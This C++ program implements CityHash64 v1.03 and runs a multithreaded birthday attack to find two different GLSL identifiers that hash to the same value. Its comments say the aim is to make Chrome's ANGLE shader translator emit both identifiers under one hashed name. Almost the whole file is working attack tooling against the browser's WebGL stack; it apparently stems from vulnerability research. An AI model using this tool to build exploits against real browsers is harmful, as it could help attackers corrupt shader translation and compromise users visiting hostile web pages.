// CityHash64 v1.03 collision finder for ANGLE shader identifier hashing.
//
// Chrome's validating GLES2 command decoder configures ANGLE's shader
// translator with base::legacy::CityHash64 (cityhash v1.03) as the identifier
// hash function. ANGLE does not check whether two distinct source identifiers
// hash to the same 64-bit value, so a collision causes both identifiers to be
// emitted as the same name (e.g. "webgl_DEADBEEF...") in the translated GLSL.
//
// This program finds two distinct strings, both valid GLSL identifiers, that
// hash to the same CityHash64 value. It uses a parallel birthday attack:
// expected ~2^32 hash evaluations, sharded across all available cores, with a
// large open-addressed table in RAM.
//
// Build:
//   g++ -O3 -march=native -fopenmp -o find_collision find_collision.cc
// Run:
//   ./find_collision
//
// The CityHash64 implementation below is copied verbatim (with namespacing
// removed) from chromium/src/base/third_party/cityhash_v103/src/city_v103.cc
// to guarantee bit-for-bit compatibility with the hash function Chrome
// installs into ANGLE.

#include <atomic>
#include <cinttypes>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <utility>

#include <omp.h>

// ---------------------------------------------------------------------------
// CityHash64 v1.03 (verbatim, little-endian, namespacing stripped)
// ---------------------------------------------------------------------------

typedef uint8_t uint8;
typedef uint32_t uint32;
typedef uint64_t uint64;
typedef std::pair<uint64, uint64> uint128;

static inline uint64 Uint128Low64(const uint128& x) { return x.first; }
static inline uint64 Uint128High64(const uint128& x) { return x.second; }

static inline uint64 Hash128to64(const uint128& x) {
  const uint64 kMul = 0x9ddfea08eb382d69ULL;
  uint64 a = (Uint128Low64(x) ^ Uint128High64(x)) * kMul;
  a ^= (a >> 47);
  uint64 b = (Uint128High64(x) ^ a) * kMul;
  b ^= (b >> 47);
  b *= kMul;
  return b;
}

static uint64 UNALIGNED_LOAD64(const char* p) {
  uint64 result;
  memcpy(&result, p, sizeof(result));
  return result;
}

static uint32 UNALIGNED_LOAD32(const char* p) {
  uint32 result;
  memcpy(&result, p, sizeof(result));
  return result;
}

static uint64 Fetch64(const char* p) { return UNALIGNED_LOAD64(p); }
static uint32 Fetch32(const char* p) { return UNALIGNED_LOAD32(p); }

static const uint64 k0 = 0xc3a5c85c97cb3127ULL;
static const uint64 k1 = 0xb492b66fbe98f273ULL;
static const uint64 k2 = 0x9ae16a3b2f90404fULL;
static const uint64 k3 = 0xc949d7c7509e6557ULL;

static uint64 Rotate(uint64 val, int shift) {
  return shift == 0 ? val : ((val >> shift) | (val << (64 - shift)));
}

static uint64 RotateByAtLeast1(uint64 val, size_t shift) {
  return (val >> shift) | (val << (64 - shift));
}

static uint64 ShiftMix(uint64 val) { return val ^ (val >> 47); }

static uint64 HashLen16(uint64 u, uint64 v) {
  return Hash128to64(uint128(u, v));
}

static uint64 HashLen0to16(const char* s, size_t len) {
  if (len > 8) {
    uint64 a = Fetch64(s);
    uint64 b = Fetch64(s + len - 8);
    return HashLen16(a, RotateByAtLeast1(b + len, len)) ^ b;
  }
  if (len >= 4) {
    uint64 a = Fetch32(s);
    return HashLen16(len + (a << 3), Fetch32(s + len - 4));
  }
  if (len > 0) {
    uint8 a = static_cast<uint8>(s[0]);
    uint8 b = static_cast<uint8>(s[len >> 1]);
    uint8 c = static_cast<uint8>(s[len - 1]);
    uint32 y = static_cast<uint32>(a) + (static_cast<uint32>(b) << 8);
    uint32 z = static_cast<uint32>(len) + (static_cast<uint32>(c) << 2);
    return ShiftMix(y * k2 ^ z * k3) * k2;
  }
  return k2;
}

static uint64 HashLen17to32(const char* s, size_t len) {
  uint64 a = Fetch64(s) * k1;
  uint64 b = Fetch64(s + 8);
  uint64 c = Fetch64(s + len - 8) * k2;
  uint64 d = Fetch64(s + len - 16) * k0;
  return HashLen16(Rotate(a - b, 43) + Rotate(c, 30) + d,
                   a + Rotate(b ^ k3, 20) - c + len);
}

static std::pair<uint64, uint64> WeakHashLen32WithSeeds(uint64 w, uint64 x,
                                                        uint64 y, uint64 z,
                                                        uint64 a, uint64 b) {
  a += w;
  b = Rotate(b + a + z, 21);
  uint64 c = a;
  a += x;
  a += y;
  b += Rotate(a, 44);
  return std::make_pair(a + z, b + c);
}

static std::pair<uint64, uint64> WeakHashLen32WithSeeds(const char* s, uint64 a,
                                                        uint64 b) {
  return WeakHashLen32WithSeeds(Fetch64(s), Fetch64(s + 8), Fetch64(s + 16),
                                Fetch64(s + 24), a, b);
}

static uint64 HashLen33to64(const char* s, size_t len) {
  uint64 z = Fetch64(s + 24);
  uint64 a = Fetch64(s) + (len + Fetch64(s + len - 16)) * k0;
  uint64 b = Rotate(a + z, 52);
  uint64 c = Rotate(a, 37);
  a += Fetch64(s + 8);
  c += Rotate(a, 7);
  a += Fetch64(s + 16);
  uint64 vf = a + z;
  uint64 vs = b + Rotate(a, 31) + c;
  a = Fetch64(s + 16) + Fetch64(s + len - 32);
  z = Fetch64(s + len - 8);
  b = Rotate(a + z, 52);
  c = Rotate(a, 37);
  a += Fetch64(s + len - 24);
  c += Rotate(a, 7);
  a += Fetch64(s + len - 16);
  uint64 wf = a + z;
  uint64 ws = b + Rotate(a, 31) + c;
  uint64 r = ShiftMix((vf + ws) * k2 + (wf + vs) * k0);
  return ShiftMix(r * k0 + vs) * k2;
}

uint64 CityHash64(const char* s, size_t len) {
  if (len <= 32) {
    if (len <= 16) {
      return HashLen0to16(s, len);
    } else {
      return HashLen17to32(s, len);
    }
  } else if (len <= 64) {
    return HashLen33to64(s, len);
  }

  uint64 x = Fetch64(s + len - 40);
  uint64 y = Fetch64(s + len - 16) + Fetch64(s + len - 56);
  uint64 z = HashLen16(Fetch64(s + len - 48) + len, Fetch64(s + len - 24));
  std::pair<uint64, uint64> v = WeakHashLen32WithSeeds(s + len - 64, len, z);
  std::pair<uint64, uint64> w = WeakHashLen32WithSeeds(s + len - 32, y + k1, x);
  x = x * k1 + Fetch64(s);

  len = (len - 1) & ~static_cast<size_t>(63);
  do {
    x = Rotate(x + y + v.first + Fetch64(s + 8), 37) * k1;
    y = Rotate(y + v.second + Fetch64(s + 48), 42) * k1;
    x ^= w.second;
    y += v.first + Fetch64(s + 40);
    z = Rotate(z + w.first, 33) * k1;
    v = WeakHashLen32WithSeeds(s, v.second * k1, x + w.first);
    w = WeakHashLen32WithSeeds(s + 32, z + w.second, y + Fetch64(s + 16));
    std::swap(z, x);
    s += 64;
    len -= 64;
  } while (len != 0);
  return HashLen16(HashLen16(v.first, w.first) + ShiftMix(y) * k1 + z,
                   HashLen16(v.second, w.second) + x);
}

// ---------------------------------------------------------------------------
// Collision search
// ---------------------------------------------------------------------------

// Encode a 64-bit counter as a 17-character valid GLSL identifier:
//   'v' + 16 chars from ['a'..'p'] (one per nibble).
// This avoids reserved prefixes (gl_, webgl_), avoids leading digits, and
// avoids double-underscore. Length 17 hits the HashLen17to32 path.
static const size_t kIdentLen = 17;

static inline void Encode(uint64 v, char out[kIdentLen]) {
  out[0] = 'v';
  for (int i = 0; i < 16; ++i) {
    out[1 + i] = 'a' + (v & 0xF);
    v >>= 4;
  }
}

static inline uint64 HashCounter(uint64 v) {
  char buf[kIdentLen];
  Encode(v, buf);
  return CityHash64(buf, kIdentLen);
}

int main() {
  // Self-test against the vectors in chromium base/hash/legacy_hash_unittest.cc
  // to guarantee bit-exact match with base::legacy::CityHash64.
  if (CityHash64("", 0) != 11160318154034397263ULL ||
      CityHash64("0123456789", 10) != 12631666426400459317ULL ||
      CityHash64("hello world", 11) != 12386028635079221413ULL) {
    fprintf(stderr, "CityHash64 self-test FAILED. Aborting.\n");
    return 1;
  }
  fprintf(stderr, "CityHash64 self-test passed.\n");

  // Lossy hash table indexed by low TABLE_BITS of the full 64-bit hash. Each
  // slot stores the 64-bit input counter (0 = empty). On bucket conflict we
  // overwrite, so some entries are lost; the birthday bound still gives an
  // expected ~2^32.5 probes to find a full 64-bit collision.
  const int TABLE_BITS = 32;
  const uint64 TABLE_SIZE = (uint64)1 << TABLE_BITS;
  const uint64 TABLE_MASK = TABLE_SIZE - 1;

  fprintf(stderr, "Allocating %.1f GiB table...\n",
          (double)TABLE_SIZE * 8 / (1024.0 * 1024.0 * 1024.0));
  std::atomic<uint64>* table =
      static_cast<std::atomic<uint64>*>(calloc(TABLE_SIZE, sizeof(uint64)));
  if (!table) {
    fprintf(stderr, "calloc failed\n");
    return 1;
  }

  std::atomic<int> found(0);
  uint64 result_a = 0, result_b = 0, result_h = 0;

  const uint64 CHUNK = 1ULL << 24;  // 16M iterations per chunk
  std::atomic<uint64> next_chunk(0);
  std::atomic<uint64> total_done(0);

  double t0 = omp_get_wtime();
  int nthreads = omp_get_max_threads();
  fprintf(stderr, "Starting search with %d threads...\n", nthreads);

#pragma omp parallel
  {
    while (!found.load(std::memory_order_relaxed)) {
      uint64 chunk = next_chunk.fetch_add(1, std::memory_order_relaxed);
      uint64 start = 1 + chunk * CHUNK;
      uint64 end = start + CHUNK;

      for (uint64 i = start; i < end; ++i) {
        uint64 h = HashCounter(i);
        uint64 slot = h & TABLE_MASK;
        uint64 prev = table[slot].load(std::memory_order_relaxed);
        if (prev != 0 && prev != i && HashCounter(prev) == h) {
          // Full 64-bit collision found.
          int exp = 0;
          if (found.compare_exchange_strong(exp, 1)) {
            result_a = prev;
            result_b = i;
            result_h = h;
          }
          break;
        }
        table[slot].store(i, std::memory_order_relaxed);
        if (found.load(std::memory_order_relaxed)) break;
      }

      uint64 done = total_done.fetch_add(CHUNK) + CHUNK;
      if (omp_get_thread_num() == 0) {
        double t = omp_get_wtime() - t0;
        fprintf(stderr, "  %.2f B hashes, %.1f s, %.1f M/s\n",
                done / 1e9, t, done / 1e6 / t);
      }
    }
  }

  fprintf(stderr, "\n");
  double dt = omp_get_wtime() - t0;
  fprintf(stderr, "Search completed in %.1f seconds.\n", dt);

  if (!found.load()) {
    fprintf(stderr, "No collision found?!\n");
    return 1;
  }

  char sa[kIdentLen + 1] = {0};
  char sb[kIdentLen + 1] = {0};
  Encode(result_a, sa);
  Encode(result_b, sb);

  // Verify.
  uint64 ha = CityHash64(sa, kIdentLen);
  uint64 hb = CityHash64(sb, kIdentLen);

  printf("=== COLLISION FOUND ===\n");
  printf("N1 = %s\n", sa);
  printf("N2 = %s\n", sb);
  printf("CityHash64(N1) = %016" PRIx64 "\n", ha);
  printf("CityHash64(N2) = %016" PRIx64 "\n", hb);
  printf("ANGLE hashed name: webgl_%016" PRIx64 "\n", ha);
  printf("Match: %s\n", (ha == hb && strcmp(sa, sb) != 0) ? "YES" : "NO");

  free(table);
  return (ha == hb && strcmp(sa, sb) != 0) ? 0 : 1;
}